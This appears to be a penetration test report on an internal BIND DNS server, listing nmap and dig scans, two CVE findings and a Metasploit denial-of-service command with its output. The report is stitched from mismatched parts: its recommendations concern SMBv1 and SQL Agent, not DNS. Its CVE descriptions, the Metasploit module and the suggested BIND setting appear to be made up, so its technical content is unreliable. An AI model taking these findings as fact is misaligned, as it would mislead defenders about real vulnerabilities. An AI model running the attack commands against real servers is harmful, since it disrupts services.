Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation
|
Key Findings:
|
- 3 critical vulnerabilities identified
|
- 2 high risk issues found
|
- System configuration needs hardening
|
Recommendations:
|
1. Implement TLS 1.2+, encrypt data at rest using AES-256, and minimize data collection. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls.
|
2. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls.
|
3. Configure SQL Agent to run under least privileged account. Enable job step security. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible.
|
Next Steps:
|
- Address critical vulnerabilities within 24 hours
|
- Remediate high risk findings within 7 days
|
- Schedule retesting after fixes are implemented
|
- Conduct developer security training focusing on OWASP Top 10

Tester: rjohnson
|
Organization: SecureNet Solutions
|
Confidentiality: STRICTLY CONFIDENTIAL
|
Test Objective: conduct a comprehensive security assessment of the BIND DNS server (10.97.116.218)
|
Scope: Internal security assessment
|
Rules of Engagement: Standard
|
=== Discovery Phase ===
|
Tester: nmap -sV -O --script=dns-recursion -p53,953 10.97.116.218
|
Tool Output:
|
Starting Nmap 7.92 at 2025-05-11 19:07:18
|
Nmap scan report for 10.97.116.218
|

|
=== Vulnerability Assessment ===
|
Tools used:
|
- Nmap with dns-nsid and fpdns scripts
|
- ISC BIND vulnerability checks
|
- DNS reconnaissance tools (dig, dnsrecon)
|
## Vulnerability 1: CVE-2021-25216 (SIG record parsing DoS)
|
CVE: CVE-2021-25216
|
CVSS Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5)
|
Primary Tool: Nmap dns-nsid script
|
Test Method: nmap -sU -p53 --script=dns-nsid 10.97.116.218
|
Result:
|
BIND 9.16.1 is vulnerable to denial of service via specially crafted SIG records.
|
Attackers could crash the named process by sending malformed SIG records.
|
Remediation: Upgrade to BIND 9.16.24 or later. Apply ISC patch for CVE-2021-25216.
|
## Vulnerability 2: CVE-2019-6477 (NXDOMAIN cache poisoning)
|
CVE: CVE-2019-6477
|
CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N (5.9)
|
Primary Tool: Manual testing with dig
|
Test Method: dig @10.97.116.218 +short porttest.dns-oarc.net TXT
|
Result:
|
Server vulnerable to NXDOMAIN cache poisoning attacks due to insufficient
|
randomization of query IDs when processing NXDOMAIN responses.
|
Remediation: Upgrade to BIND 9.16.24 or later. Set 'nxdomain-redirect no;'
|
=== Exploitation Phase ===
|
Tool: Metasploit Framework 6.1
|
Command: msfconsole -q -x "use auxiliary/dos/dns/bind_nxdomain; set RHOSTS 10.97.116.218; exploit"
|
Output:
|
[*] Sending NXDOMAIN cache poisoning packets to 10.97.116.218:53
|
[+] Target appears vulnerable - malformed NXDOMAIN responses accepted
|
[*] This could allow cache poisoning but no direct shell access
|
Tool: dig (manual cache poisoning test)
|
Command: dig @10.97.116.218 +short porttest.dns-oarc.net TXT
|
Output:
|
;; Warning: ID mismatch: expected ID 12345, got 54321
|
;; Warning: query response failed verification
|
Result: Inconsistent query ID generation detected
|
Analysis:
|
- Confirmed NXDOMAIN handling vulnerability (CVE-2019-6477)
|
- Confirmed SIG record parsing vulnerability (CVE-2021-25216)
|
- No direct remote code execution possible
